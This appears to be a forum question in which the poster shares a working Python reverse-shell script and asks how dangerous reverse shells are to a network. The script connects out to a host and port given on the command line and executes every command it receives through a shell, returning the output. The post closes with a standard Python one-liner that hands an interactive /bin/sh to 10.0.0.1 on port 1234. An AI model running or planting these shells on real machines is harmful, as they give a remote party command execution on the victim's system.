I'm working on a simple reverse-shell thingy in Python. It can accept and interpret commands on a shell spawned on the victim. Unfortunately it doesn't support features like ping, traceroute, nbtstat (for windows machines), nslookup (for windows too), for reasons I don't understand well enough. My question is, how much of a threat are these reverse-shells to a network? They seem trivial in the sense that a standard user would (and should) have their privileges restricted, so no harm can really be done, and the reverse shell seems like something you'd go over to a mate's house and plug into his computer for proof-of-concept. Also, links to further reading would be appreciated; the "inside-out" attacks really interest me. Thingy: Ah sorry forgot to include the "thingy" :)
#! /usr/bin/python3
import socket, subprocess, os
from sys import argv
script, host, port = argv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((str(host), int(port)))
except ValueError as err:
print ("You entered the wrong host / port combination or something...")
print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
print ("Socket error of some sort...")
print ("Here is the error message:\n\n\n{}".format(err))
while True:
s.send("Command: ".encode("utf-8"))
comm = s.recv(4096)
comm = comm.decode("utf-8")
print (comm)
if comm[:2] == "cd":
os.chdir(comm[3:].rstrip())
p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
s.send(p.stdout.read().encode("utf-8"))
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'